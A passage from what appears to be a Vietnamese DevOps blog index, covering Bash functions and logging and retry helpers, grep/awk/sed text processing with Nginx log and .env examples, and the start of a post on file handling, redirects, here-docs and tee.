base_name=\u0026#34;$(basename \u0026#34;${source_file}\u0026#34;)\u0026#34; echo \u0026#34;./backup/${base_name}.${timestamp}.bak\u0026#34; } Không dùng local, các biến như timestamp hoặc base_name có thể vô tình ghi đè biến cùng tên ở nơi khác trong script. Đây là lỗi khó debug khi script lớn dần.\nMột thói quen tốt là khai báo local gần nơi dùng và quote biến khi truyền vào command:\n1 2 local target_dir=\u0026#34;${1:-./backup}\u0026#34; mkdir -p \u0026#34;${target_dir}\u0026#34; Tách function vào file khác với source Khi nhiều script cùng cần logging, validation hoặc retry, bạn có thể tách function vào file thư viện nhỏ.\nVí dụ cấu trúc:\n1 2 3 4 scripts/ ├── deploy.sh └── lib/ └── log.sh File scripts/lib/log.sh:\n1 2 3 4 5 6 7 8 9 10 11 12 13 #!/usr/bin/env bash log_info() { printf \u0026#39;[INFO] %s\\n\u0026#39; \u0026#34;$*\u0026#34; } log_warn() { printf \u0026#39;[WARN] %s\\n\u0026#39; \u0026#34;$*\u0026#34; \u0026gt;\u0026amp;2 } log_error() { printf \u0026#39;[ERROR] %s\\n\u0026#39; \u0026#34;$*\u0026#34; \u0026gt;\u0026amp;2 } File scripts/deploy.sh:\n1 2 3 4 5 6 7 8 9 #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR=\u0026#34;$(cd -- \u0026#34;$(dirname -- \u0026#34;${BASH_SOURCE[0]}\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; source \u0026#34;${SCRIPT_DIR}/lib/log.sh\u0026#34; log_info \u0026#34;Starting deploy\u0026#34; log_warn \u0026#34;This is a warning message\u0026#34; log_error \u0026#34;This is an error message\u0026#34; source chạy nội dung file trong shell hiện tại, nên các function trong log.sh sẽ có sẵn cho deploy.sh. Trong Bash, ${BASH_SOURCE[0]} giúp xác định đường dẫn file script hiện tại tốt hơn $0 khi file được source hoặc gọi từ thư mục khác.\nThực hành DevOps: thư viện logging nhỏ Một thư viện logging tối thiểu nên có timestamp, level và tách stdout/stderr hợp lý.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/env bash _log() { local level=\u0026#34;$1\u0026#34; shift printf \u0026#39;%s [%s] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;${level}\u0026#34; \u0026#34;$*\u0026#34; } log_info() { _log \u0026#34;INFO\u0026#34; \u0026#34;$@\u0026#34; } log_warn() { _log \u0026#34;WARN\u0026#34; \u0026#34;$@\u0026#34; \u0026gt;\u0026amp;2 } log_error() { _log \u0026#34;ERROR\u0026#34; \u0026#34;$@\u0026#34; \u0026gt;\u0026amp;2 } Đặt function nội bộ tên _log là convention đơn giản để báo hiệu “không gọi trực tiếp từ bên ngoài”. Bash không có private function thật sự, nên đây chỉ là quy ước.\nDùng trong script healthcheck:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR=\u0026#34;$(cd -- \u0026#34;$(dirname -- \u0026#34;${BASH_SOURCE[0]}\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; source \u0026#34;${SCRIPT_DIR}/lib/log.sh\u0026#34; check_url() { local url=\u0026#34;$1\u0026#34; if curl --fail --silent --show-error --max-time 5 \u0026#34;${url}\u0026#34; \u0026gt; /dev/null; then log_info \u0026#34;Healthcheck OK: ${url}\u0026#34; else log_error \u0026#34;Healthcheck failed: ${url}\u0026#34; return 1 fi } check_url \u0026#34;https://example.com/health\u0026#34; Ở đây curl --fail giúp HTTP 4xx/5xx được xem là lỗi, --silent --show-error giảm noise nhưng vẫn in lỗi cần thiết, và --max-time tránh script treo quá lâu.\nThực hành DevOps: retry command bằng function Retry là pattern rất thường gặp khi gọi API, pull image, kiểm tra service vừa restart hoặc chạy lệnh có thể lỗi tạm thời.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 retry() { local max_attempts=\u0026#34;$1\u0026#34; local delay_seconds=\u0026#34;$2\u0026#34; shift 2 local attempt=1 while (( attempt \u0026lt;= max_attempts )); do if \u0026#34;$@\u0026#34;; then return 0 fi echo \u0026#34;WARN: attempt ${attempt}/${max_attempts} failed: $*\u0026#34; \u0026gt;\u0026amp;2 if (( attempt == max_attempts )); then return 1 fi sleep \u0026#34;${delay_seconds}\u0026#34; ((attempt++)) done } retry 5 3 curl --fail --silent --show-error https://example.com/health Điểm quan trọng:\nshift 2 bỏ hai tham số cấu hình để phần còn lại là command cần chạy. \u0026quot;$@\u0026quot; chạy command với argument được giữ nguyên. Function trả 0 ngay khi command thành công, trả 1 sau khi hết số lần thử. Bạn có thể kết hợp với logging library:\n1 2 3 4 5 6 if retry 5 3 curl --fail --silent --show-error https://example.com/health; then log_info \u0026#34;Service is healthy\u0026#34; else log_error \u0026#34;Service is still unhealthy after retry\u0026#34; exit 1 fi Thực hành DevOps: deploy script có function rõ ràng Ví dụ script deploy nhỏ, tách từng bước thành function để dễ đọc hơn:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/env bash set -euo pipefail APP_DIR=\u0026#34;${APP_DIR:-/opt/example-app}\u0026#34; SERVICE_NAME=\u0026#34;${SERVICE_NAME:-example-app}\u0026#34; log_info() { printf \u0026#39;%s [INFO] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;$*\u0026#34; } log_error() { printf \u0026#39;%s [ERROR] %s\\n\u0026#39; \u0026#34;$(date -Is)\u0026#34; \u0026#34;$*\u0026#34; \u0026gt;\u0026amp;2 } require_dir() { local dir_path=\u0026#34;$1\u0026#34; if [[ ! -d \u0026#34;${dir_path}\u0026#34; ]]; then log_error \u0026#34;Directory not found: ${dir_path}\u0026#34; return 1 fi } pull_latest_code() { git -C \u0026#34;${APP_DIR}\u0026#34; pull --ff-only } restart_service() { sudo systemctl restart \u0026#34;${SERVICE_NAME}\u0026#34; } verify_service() { systemctl is-active --quiet \u0026#34;${SERVICE_NAME}\u0026#34; } main() { require_dir \u0026#34;${APP_DIR}\u0026#34; log_info \u0026#34;Pulling latest code\u0026#34; pull_latest_code log_info \u0026#34;Restarting ${SERVICE_NAME}\u0026#34; restart_service log_info \u0026#34;Verifying ${SERVICE_NAME}\u0026#34; if verify_service; then log_info \u0026#34;Deploy completed\u0026#34; else log_error \u0026#34;Service is not active after restart\u0026#34; return 1 fi } main \u0026#34;$@\u0026#34; Pattern main \u0026quot;$@\u0026quot; giúp script có entrypoint rõ ràng. Các function phía trên định nghĩa hành vi, còn main mô tả luồng chạy chính.\nSai sót thường gặp Quên local: Biến trong function có thể ghi đè biến global ngoài ý muốn. Dùng return \u0026quot;text\u0026quot;: return chỉ dành cho exit code số; muốn trả text thì echo/printf ra stdout. Không quote \u0026quot;$@\u0026quot;: Command wrapper dễ hỏng khi argument có khoảng trắng. Gọi function trước khi khai báo: Bash đọc và chạy từ trên xuống; function phải được định nghĩa trước khi gọi. Dùng $1 trực tiếp khi bật set -u: Nếu thiếu tham số, script lỗi ngay. Dùng ${1:-} rồi validate. Ghi log lỗi ra stdout: Error/warn nên đi stderr (\u0026gt;\u0026amp;2) để stdout còn dùng cho dữ liệu/pipeline. Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy bắt đầu bằng các function nhỏ cho phần lặp lại nhiều nhất: log_info, log_warn, log_error. require_file, require_dir, require_env. retry cho lệnh có lỗi tạm thời. backup_file trước khi sửa config. Best practices: Dùng local cho biến trong function. Dùng return cho trạng thái thành công/thất bại, stdout cho dữ liệu. Dùng \u0026quot;$@\u0026quot; khi wrapper function gọi command khác. Tách thư viện chung vào scripts/lib/*.sh và load bằng source với đường dẫn dựa trên ${BASH_SOURCE[0]}. Giữ function làm một việc rõ ràng; nếu function quá dài, tách tiếp. Troubleshooting: Function trả sai trạng thái? → In thử $? ngay sau khi gọi hoặc chạy bash -x script.sh. Biến bị đổi bất ngờ? → Kiểm tra function thiếu local. source không tìm thấy file? → Kiểm tra SCRIPT_DIR và chạy script từ thư mục khác để test. Lời kết Function là bước nâng cấp tự nhiên khi bạn viết Bash cho DevOps nhiều hơn một vài dòng. Chúng giúp tái sử dụng logic, gom logging/validation/retry vào nơi chung, giảm copy-paste và làm luồng deploy/healthcheck rõ ràng hơn.\nỞ bài tiếp theo, chúng ta sẽ đi vào quản lý biến và môi trường trong Bash: biến local vs export, .env, getopts, $IFS và các biến đặc biệt như $?, $$, $!.\nTài liệu tham khảo GNU Bash Manual — Shell Functions — Tài liệu chính thức về function, positional parameters và exit status. GNU Bash Manual — Bourne Shell Builtins — Tham khảo return, shift và các builtin liên quan. GNU Bash Manual — Bash Variables — Tham khảo ${BASH_SOURCE[@]} và các biến Bash đặc biệt. curl Documentation — Tham khảo --fail, --silent, --show-error, --max-time dùng trong ví dụ healthcheck. ","date":"09/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-six.webp","permalink":"/vi/posts/bash/bash-step-six/","summary":"Hướng dẫn viết function trong Bash: cú pháp, tham số, biến local, return code, source file khác và xây dựng thư viện logging tái sử dụng cho script DevOps.","tags":["bash","shell-script","devops","automation","linux","function"],"title":"Function trong Bash: tái sử dụng code hiệu quả cho DevOps"},{"categories":["DevOps","Bash"],"content":"Text processing trong Bash cho DevOps Ở bài trước chúng ta đã xử lý file: đọc, ghi, redirect, tee, find và xargs. Nhưng file text chỉ thật sự hữu ích khi bạn biết lọc, trích xuất và biến đổi dữ liệu trong đó.\nTrong DevOps, grep, awk và sed xuất hiện ở khắp nơi: lọc log lỗi, lấy status code từ access log, đếm IP truy cập nhiều nhất, thay đổi config trước khi deploy, hoặc tạo report nhanh từ output của command. Bài này đi qua ba công cụ theo hướng thực dụng, có ví dụ gần với vận hành hằng ngày.\ngrep: tìm dòng khớp pattern grep đọc input và in ra những dòng khớp pattern. Đây thường là bước đầu tiên khi bạn cần tìm nhanh thông tin trong log hoặc config.\n1 2 grep \u0026#34;ERROR\u0026#34; app.log grep \u0026#34;server_name\u0026#34; /etc/nginx/conf.d/*.conf Một số option hay dùng:\n1 2 3 4 5 6 grep -n \u0026#34;ERROR\u0026#34; app.log # in kèm line number grep -i \u0026#34;timeout\u0026#34; app.log # ignore case grep -v \u0026#34;healthcheck\u0026#34; app.log # loại trừ dòng khớp grep -r \u0026#34;DATABASE_URL\u0026#34; ./config # tìm đệ quy trong thư mục grep -E \u0026#34;ERROR|WARN\u0026#34; app.log # extended regex grep -F \u0026#34;[literal]\u0026#34; app.log # fixed string, không coi là regex Theo GNU grep, -E dùng extended regular expression, còn -F dùng fixed strings. Khi pattern là chuỗi literal đơn giản, grep -F giúp tránh lỗi do ký tự như ., [, * bị hiểu là regex.\ngrep context: xem dòng trước và sau lỗi Khi debug log, chỉ một dòng lỗi thường chưa đủ. GNU grep hỗ trợ context:\n1 2 3 grep -A 3 \u0026#34;ERROR\u0026#34; app.log # 3 dòng sau match grep -B 3 \u0026#34;ERROR\u0026#34; app.log # 3 dòng trước match grep -C 3 \u0026#34;ERROR\u0026#34; app.log # 3 dòng trước và sau match Ví dụ xem lỗi deploy kèm ngữ cảnh:\n1 grep -n -C 5 \u0026#34;deploy failed\u0026#34; ./logs/deploy.log Khi có nhiều nhóm match cách xa nhau, grep mặc định chèn dòng -- để phân tách context group. Điều này hữu ích khi đọc terminal, nhưng nếu output đưa vào script khác, bạn nên nhớ dòng separator này có thể xuất hiện.\ngrep trong pipeline DevOps Ví dụ lọc log ứng dụng, bỏ healthcheck và chỉ xem lỗi nghiêm trọng:\n1 2 3 4 5 6 7 8 9 10 11 #!/usr/bin/env bash set -euo pipefail LOG_FILE=\u0026#34;${1:-./logs/app.log}\u0026#34; if [[ ! -r \u0026#34;${LOG_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Cannot read log file: ${LOG_FILE}\u0026#34; exit 1 fi grep -E \u0026#34;ERROR|FATAL\u0026#34; \u0026#34;${LOG_FILE}\u0026#34; | grep -v \u0026#34;healthcheck\u0026#34; || true Vì grep trả exit code 1 khi không có match, pipeline có thể làm script dừng nếu đang dùng set -e. Trong tình huống “không có lỗi” là bình thường, thêm || true ở cuối pipeline là chấp nhận được. Với pipeline quan trọng hơn, hãy xử lý exit code rõ ràng bằng if grep ...; then ... fi.\nawk: xử lý theo dòng và theo cột awk đọc input theo record, mặc định mỗi dòng là một record. Mỗi dòng được tách thành field: $1, $2, $3… Toàn bộ dòng là $0.\n1 2 awk \u0026#39;{ print $1 }\u0026#39; access.log awk \u0026#39;{ print $1, $9 }\u0026#39; access.log Một số biến built-in quan trọng:\nNR: số record đã đọc từ đầu input. NF: số field của record hiện tại. $0: toàn bộ dòng hiện tại. $1, $2, \u0026hellip;: field thứ nhất, thứ hai, \u0026hellip; FS: field separator input. OFS: output field separator. Ví dụ in số dòng và số field:\n1 awk \u0026#39;{ print NR, NF, $0 }\u0026#39; app.log Theo GNU awk manual, NR tăng mỗi khi awk đọc record mới, còn NF là số field của record hiện tại. Đây là hai biến rất hữu ích khi cần validate dữ liệu text nhanh.\nawk BEGIN, END và điều kiện BEGIN chạy trước khi đọc input. END chạy sau khi đọc hết input. Phần giữa là rule áp dụng cho từng dòng.\n1 awk \u0026#39;BEGIN { print \u0026#34;status,count\u0026#34; } { count[$9]++ } END { for (code in count) print code \u0026#34;,\u0026#34; count[code] }\u0026#39; access.log Ví dụ dễ đọc hơn, đếm HTTP status code từ Nginx access log dạng phổ biến:\n1 2 3 4 5 6 7 8 9 10 11 12 13 awk \u0026#39; BEGIN { print \u0026#34;status,count\u0026#34; } { status[$9]++ } END { for (code in status) { print code \u0026#34;,\u0026#34; status[code] } } \u0026#39; access.log Trong access log phổ biến, $1 thường là IP client, $7 là path và $9 là HTTP status. Tuy nhiên format log có thể khác theo cấu hình Nginx/Apache, nên hãy kiểm tra vài dòng mẫu trước khi hardcode vị trí field.\nawk với delimiter tùy chỉnh Mặc định awk tách field theo whitespace. Với file dạng key-value hoặc CSV đơn giản, dùng -F để chọn delimiter.\n1 2 awk -F= \u0026#39;{ print $1, $2 }\u0026#39; app.env awk -F: \u0026#39;{ print $1, $7 }\u0026#39; /etc/passwd Ví dụ đọc file .env và bỏ comment/dòng rỗng:\n1 2 3 4 5 6 7 awk -F= \u0026#39; /^[[:space:]]*#/ { next } NF \u0026lt; 2 { next } { print \u0026#34;key=\u0026#34; $1 } \u0026#39; .env Với CSV phức tạp có quote, comma bên trong field hoặc escape, awk -F, không đủ an toàn. Khi đó nên dùng parser CSV đúng nghĩa bằng Python, Go hoặc công cụ chuyên dụng.\nsed: thay thế và chỉnh text theo dòng sed là stream editor: đọc input, áp dụng script, rồi ghi output. Lệnh nổi tiếng nhất là substitute:\n1 2 sed \u0026#39;s/old/new/\u0026#39; file.txt # thay match đầu tiên mỗi dòng sed \u0026#39;s/old/new/g\u0026#39; file.txt # thay tất cả match trên mỗi dòng Theo GNU sed manual, cú pháp cơ bản là s/regexp/replacement/flags. Flag g thay tất cả match trong dòng thay vì chỉ match đầu tiên.\nVí dụ đổi endpoint trong file config và ghi ra file mới:\n1 sed \u0026#39;s|http://localhost:8080|https://api.example.com|g\u0026#39; app.conf \u0026gt; app.conf.new Ở đây dùng delimiter | thay vì / để tránh phải escape nhiều dấu / trong URL.\nsed theo address và in-place edit Bạn có thể giới hạn sed chỉ tác động trên dòng khớp pattern hoặc range.\n1 2 sed \u0026#39;/^LOG_LEVEL=/s/=.*$/=debug/\u0026#39; app.env sed \u0026#39;10,20s/enabled=false/enabled=true/\u0026#39; feature.conf GNU sed hỗ trợ -i để chỉnh file tại chỗ. Nếu truyền suffix, sed tạo backup trước khi rename file tạm thành file gốc:\n1 sed -i.bak \u0026#39;s/^LOG_LEVEL=.*/LOG_LEVEL=info/\u0026#39; app.env Cẩn thận với sed -i:\nLuôn test không -i trước để xem output. Dùng suffix như .bak khi chỉnh file quan trọng. Khác biệt cú pháp sed -i giữa GNU sed và BSD/macOS sed có thể làm script kém portable. Thực hành DevOps: parse Nginx log Giả sử access log có format phổ biến:\n1 2 3 203.0.113.10 - - [08/Jun/2026:10:12:01 +0700] \u0026#34;GET /api/health HTTP/1.1\u0026#34; 200 12 198.51.100.23 - - [08/Jun/2026:10:12:02 +0700] \u0026#34;POST /api/login HTTP/1.1\u0026#34; 401 64 203.0.113.10 - - [08/Jun/2026:10:12:03 +0700] \u0026#34;GET /api/users HTTP/1.1\u0026#34; 200 532 Lọc lỗi 4xx/5xx bằng awk:\n1 awk \u0026#39;$9 ~ /^[45][0-9][0-9]$/ { print $1, $7, $9 }\u0026#39; access.log Đếm top IP truy cập nhiều nhất:\n1 2 3 awk \u0026#39;{ count[$1]++ } END { for (ip in count) print count[ip], ip }\u0026#39; access.log \\ | sort -nr \\ | head -n 10 Đếm status code:\n1 2 awk \u0026#39;{ status[$9]++ } END { for (code in status) print code, status[code] }\u0026#39; access.log \\ | sort -n Nếu bạn muốn bỏ các request healthcheck khỏi thống kê:\n1 2 3 grep -v \u0026#39;\u0026#34;GET /api/health \u0026#39; access.log \\ | awk \u0026#39;{ status[$9]++ } END { for (code in status) print code, status[code] }\u0026#39; \\ | sort -n Thực hành DevOps: đổi config trước khi deploy Ví dụ script cập nhật LOG_LEVEL và FEATURE_FLAG trong file .env, có backup trước khi sửa.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/usr/bin/env bash set -euo pipefail ENV_FILE=\u0026#34;${1:-./app.env}\u0026#34; LOG_LEVEL=\u0026#34;${LOG_LEVEL:-info}\u0026#34; FEATURE_FLAG=\u0026#34;${FEATURE_FLAG:-false}\u0026#34; if [[ ! -f \u0026#34;${ENV_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: env file not found: ${ENV_FILE}\u0026#34; exit 1 fi if [[ ! -w \u0026#34;${ENV_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: env file is not writable: ${ENV_FILE}\u0026#34; exit 1 fi cp -- \u0026#34;${ENV_FILE}\u0026#34; \u0026#34;${ENV_FILE}.bak.$(date +%Y%m%d%H%M%S)\u0026#34; sed -i.bak \\ -e \u0026#34;s/^LOG_LEVEL=.*/LOG_LEVEL=${LOG_LEVEL}/\u0026#34; \\ -e \u0026#34;s/^FEATURE_FLAG=.*/FEATURE_FLAG=${FEATURE_FLAG}/\u0026#34; \\ \u0026#34;${ENV_FILE}\u0026#34; if ! grep -q \u0026#39;^LOG_LEVEL=\u0026#39; \u0026#34;${ENV_FILE}\u0026#34;; then echo \u0026#34;LOG_LEVEL=${LOG_LEVEL}\u0026#34; \u0026gt;\u0026gt; \u0026#34;${ENV_FILE}\u0026#34; fi if ! grep -q \u0026#39;^FEATURE_FLAG=\u0026#39; \u0026#34;${ENV_FILE}\u0026#34;; then echo \u0026#34;FEATURE_FLAG=${FEATURE_FLAG}\u0026#34; \u0026gt;\u0026gt; \u0026#34;${ENV_FILE}\u0026#34; fi Script này minh họa cách phối hợp công cụ:\ncp tạo backup rõ ràng trước khi chỉnh. sed thay giá trị nếu key đã tồn tại. grep -q kiểm tra key có tồn tại chưa. \u0026gt;\u0026gt; append key còn thiếu. Lưu ý: không đưa secret thật vào ví dụ hoặc commit. Với secret, ưu tiên biến môi trường, secret manager hoặc CI/CD secret store.\nThực hành DevOps: report lỗi từ log Ví dụ tạo report ngắn gồm tổng số lỗi và top endpoint trả 5xx:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/usr/bin/env bash set -euo pipefail ACCESS_LOG=\u0026#34;${1:-./access.log}\u0026#34; REPORT_FILE=\u0026#34;${2:-./error-report.txt}\u0026#34; if [[ ! -r \u0026#34;${ACCESS_LOG}\u0026#34; ]]; then echo \u0026#34;ERROR: Cannot read access log: ${ACCESS_LOG}\u0026#34; exit 1 fi { echo \u0026#34;Error report generated at $(date -Is)\u0026#34; echo echo \u0026#34;Total 5xx responses:\u0026#34; awk \u0026#39;$9 ~ /^5[0-9][0-9]$/ { total++ } END { print total + 0 }\u0026#39; \u0026#34;${ACCESS_LOG}\u0026#34; echo echo \u0026#34;Top 5 endpoints with 5xx:\u0026#34; awk \u0026#39;$9 ~ /^5[0-9][0-9]$/ { count[$7]++ } END { for (path in count) print count[path], path }\u0026#39; \u0026#34;${ACCESS_LOG}\u0026#34; \\ | sort -nr \\ | head -n 5 } \u0026gt; \u0026#34;${REPORT_FILE}\u0026#34; echo \u0026#34;Wrote ${REPORT_FILE}\u0026#34; Đây là dạng script rất hữu ích để chạy từ cron hoặc CI job sau test load, miễn là bạn hiểu rõ format log đầu vào.\nSai sót thường gặp Dùng regex khi chỉ cần literal: Nếu pattern có ký tự đặc biệt như [, ., *, cân nhắc grep -F. Quên grep exit code: Không có match là exit code 1, không nhất thiết là lỗi nghiệp vụ. Hardcode field log mà không kiểm tra format: $9 là status code với format phổ biến, nhưng không phải mọi log đều như vậy. Dùng awk -F, cho CSV phức tạp: CSV có quote/comma bên trong field cần parser đúng nghĩa. Chạy sed -i ngay trên file quan trọng: Test output trước, dùng backup suffix hoặc copy file trước khi sửa. Không quote biến trong script: Khi truyền file path vào grep, awk, sed, luôn quote \u0026quot;${FILE}\u0026quot;. Ghi chú triển khai Khi áp dụng vào dự án của bạn, chọn công cụ theo mục tiêu: Tìm/lọc dòng → grep. Trích cột, tính tổng, đếm nhóm → awk. Thay thế text theo dòng/pattern → sed. Best practices: Dùng grep -n khi debug để biết line number. Dùng grep -C khi cần context quanh lỗi. Dùng awk với BEGIN/END để tạo report có header/footer. Dùng delimiter khác trong sed khi xử lý URL/path, ví dụ s|old|new|g. Với chỉnh sửa config, backup trước và verify sau bằng grep hoặc test config của service. Troubleshooting: Pipeline dừng vì grep không match? → Xử lý exit code bằng if grep ... hoặc || true khi hợp lý. awk in sai cột? → In thử awk '{ print NR, NF, $0 }' để kiểm tra field. sed không thay gì? → Kiểm tra pattern có anchor đúng không, delimiter có cần escape không. Lời kết grep, awk và sed là bộ ba nền tảng để biến Bash thành công cụ xử lý log/config cực nhanh. grep giúp tìm đúng dòng, awk giúp phân tích theo cột và tổng hợp số liệu, còn sed giúp chỉnh sửa text có kiểm soát. Khi kết hợp với kỹ năng xử lý file ở bài trước, bạn đã có thể tạo nhiều script DevOps nhỏ nhưng rất hữu ích.\nỞ bài tiếp theo, chúng ta sẽ đi vào function trong Bash: tách logic thành hàm, truyền tham số, dùng local, xử lý return code và xây dựng thư viện logging nhỏ để tái sử dụng.\nTài liệu tham khảo GNU Grep Manual — Tài liệu chính thức về grep, regex, -E, -F, -n, -A, -B, -C. GNU Awk Manual — Tài liệu chính thức về field, NR, NF, BEGIN, END và awk program. GNU Sed Manual — Tài liệu chính thức về s/regexp/replacement/flags, address và -i. GNU Coreutils Manual — sort — Tham khảo thêm cho các pipeline thống kê với sort. ","date":"08/06/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-five.webp","permalink":"/vi/posts/bash/bash-step-five/","summary":"Hướng dẫn xử lý text trong Bash với grep, awk và sed. Kèm ví dụ DevOps: lọc log Nginx, đếm IP unique và chỉnh config an toàn.","tags":["bash","shell-script","devops","automation","linux","grep","awk","sed"],"title":"Text Processing trong Bash: grep, awk, sed cho DevOps"},{"categories":["DevOps","Bash"],"content":"Xử lý file trong Bash cho DevOps Ở bài trước chúng ta đã dùng vòng lặp để xử lý nhiều server, nhiều dòng log và retry các lệnh có thể lỗi tạm thời. Bước tiếp theo rất tự nhiên là xử lý file: đọc log, ghi report, append output, tạo file cấu hình, tìm file cũ và truyền danh sách file cho lệnh khác.\nTrong DevOps, phần lớn automation nhỏ đều chạm tới file: log của service, file .env, config Nginx, manifest YAML, danh sách host, artifact build hoặc backup. Bài này tập trung vào các pattern Bash thực dụng: cat, head, tail, redirect, here-doc, tee, đọc từng dòng, kiểm tra file, find, xargs và hai ví dụ thực hành.\nĐọc nhanh nội dung file với cat, tac, head, tail cat đọc một hoặc nhiều file rồi ghi ra standard output. Theo GNU Coreutils, nếu không truyền file, cat đọc từ standard input.\n1 2 cat /etc/os-release cat app.log deploy.log Một vài lệnh hay dùng khi xem log hoặc config:\n1 2 3 4 5 6 head -n 20 app.log # 20 dòng đầu head -c 1K app.log # 1 KiB đầu tiên tail -n 50 app.log # 50 dòng cuối tail -f app.log # theo dõi log đang tăng tail -F app.log # phù hợp hơn khi log có thể bị rotate tac app.log | head -n 20 # xem 20 dòng cuối theo thứ tự đảo ngược tail -f theo dõi file descriptor hiện tại. Khi log bị rotate, file cũ có thể bị rename và app mở file mới. GNU tail -F tương đương --follow=name --retry, thường tiện hơn cho log vận hành vì nó cố mở lại file theo tên.\nRedirect output: ghi mới, append và tách stdout/stderr Bash xử lý redirect từ trái sang phải. Một số dạng phổ biến:\n1 2 3 4 5 6 command \u0026gt; output.log # ghi stdout, overwrite file command \u0026gt;\u0026gt; output.log # append stdout command 2\u0026gt; error.log # ghi stderr command \u0026gt; output.log 2\u0026gt;\u0026amp;1 # ghi stdout + stderr vào cùng file command \u0026amp;\u0026gt; output.log # Bash shorthand cho stdout + stderr command \u0026amp;\u0026gt;\u0026gt; output.log # append stdout + stderr Ví dụ ghi log cho một bước deploy:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/env bash set -euo pipefail LOG_DIR=\u0026#34;./logs\u0026#34; LOG_FILE=\u0026#34;${LOG_DIR}/deploy.log\u0026#34; mkdir -p \u0026#34;${LOG_DIR}\u0026#34; { echo \u0026#34;===== Deploy started at $(date -Is) =====\u0026#34; echo \u0026#34;Running migration...\u0026#34; ./migrate.sh echo \u0026#34;Restarting service...\u0026#34; ./restart-service.sh echo \u0026#34;===== Deploy finished at $(date -Is) =====\u0026#34; } \u0026gt;\u0026gt; \u0026#34;${LOG_FILE}\u0026#34; 2\u0026gt;\u0026amp;1 Dùng block { ...; } \u0026gt;\u0026gt; \u0026quot;${LOG_FILE}\u0026quot; 2\u0026gt;\u0026amp;1 giúp gom log của nhiều lệnh vào cùng một file mà không phải lặp redirect ở từng dòng.\nLưu ý: \u0026gt; sẽ ghi đè file. Nếu muốn giảm rủi ro overwrite nhầm trong shell hiện tại, có thể bật set -o noclobber; khi cần ghi đè có chủ đích, dùng \u0026gt;| file.\nHere-doc: tạo file cấu hình từ script Here-doc (\u0026lt;\u0026lt;EOF) đưa nhiều dòng text vào stdin của một lệnh. Nó rất hữu ích khi cần tạo config mẫu, unit file, hoặc payload JSON nhỏ.\n1 2 3 4 5 cat \u0026gt; app.env \u0026lt;\u0026lt;EOF APP_ENV=production APP_PORT=8080 LOG_LEVEL=info EOF Nếu delimiter không được quote, Bash sẽ expand biến bên trong here-doc:\n1 2 3 4 5 APP_PORT=\u0026#34;8080\u0026#34; cat \u0026gt; app.env \u0026lt;\u0026lt;EOF APP_PORT=${APP_PORT} EOF Nếu muốn giữ nguyên $, backtick hoặc ${VAR} trong file output, quote delimiter:\n1 2 3 4 cat \u0026gt; template.env \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; APP_PORT=${APP_PORT} DATABASE_URL=${DATABASE_URL} EOF Theo Bash Manual, khi dùng \u0026lt;\u0026lt;-EOF, Bash sẽ bỏ các tab ở đầu dòng trong here-doc. Cách này giúp script dễ đọc hơn, nhưng chỉ strip tab, không strip space.\ntee: vừa hiển thị vừa lưu file Redirect \u0026gt; sẽ đưa output vào file và thường không còn hiển thị trên terminal. tee copy standard input ra standard output và đồng thời ghi vào file.\n1 2 ./healthcheck.sh | tee healthcheck.log ./healthcheck.sh | tee -a healthcheck.log Theo GNU Coreutils, tee sẽ overwrite file nếu không dùng -a; tee -a append vào file.\nVí dụ vừa xem log build vừa lưu lại artifact log:\n1 2 3 4 5 6 7 #!/usr/bin/env bash set -euo pipefail LOG_DIR=\u0026#34;./logs\u0026#34; mkdir -p \u0026#34;${LOG_DIR}\u0026#34; ./build.sh 2\u0026gt;\u0026amp;1 | tee -a \u0026#34;${LOG_DIR}/build.log\u0026#34; Ở đây 2\u0026gt;\u0026amp;1 đặt trước pipe để stderr cũng đi qua tee. Nếu chỉ viết ./build.sh | tee ..., nhiều lỗi trên stderr vẫn hiện ra terminal nhưng không được lưu vào file log.\nĐọc file theo từng dòng Pattern an toàn khi đọc file line-by-line là while IFS= read -r LINE; do ...; done \u0026lt; file.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/env bash set -euo pipefail SERVER_FILE=\u0026#34;${1:-servers.txt}\u0026#34; if [[ ! -r \u0026#34;${SERVER_FILE}\u0026#34; ]]; then echo \u0026#34;ERROR: Cannot read ${SERVER_FILE}\u0026#34; exit 1 fi while IFS= read -r SERVER; do [[ -n \u0026#34;${SERVER}\u0026#34; ]] || continue [[ \u0026#34;${SERVER}\u0026#34; != \\#* ]] || continue echo \u0026#34;Checking ${SERVER}\u0026#34; done \u0026lt; \u0026#34;${SERVER_FILE}\u0026#34; Giải thích nhanh:\nIFS= giữ nguyên khoảng trắng đầu/cuối dòng. read -r không coi \\ là escape character. done \u0026lt; \u0026quot;${SERVER_FILE}\u0026quot; tránh pattern cat file | while ..., vốn có thể làm vòng lặp chạy trong subshell ở một số shell và làm mất biến sau vòng lặp. Quote \u0026quot;${SERVER_FILE}\u0026quot; để đường dẫn có khoảng trắng vẫn hoạt động. Kiểm tra file, thư mục và quyền trước khi thao tác Trước khi đọc/ghi/xóa file trong automation, hãy kiểm tra điều kiện rõ ràng. Một số test hay dùng trong [[ ... ]]:\n1 2 3 4 5 6 7 [[ -e 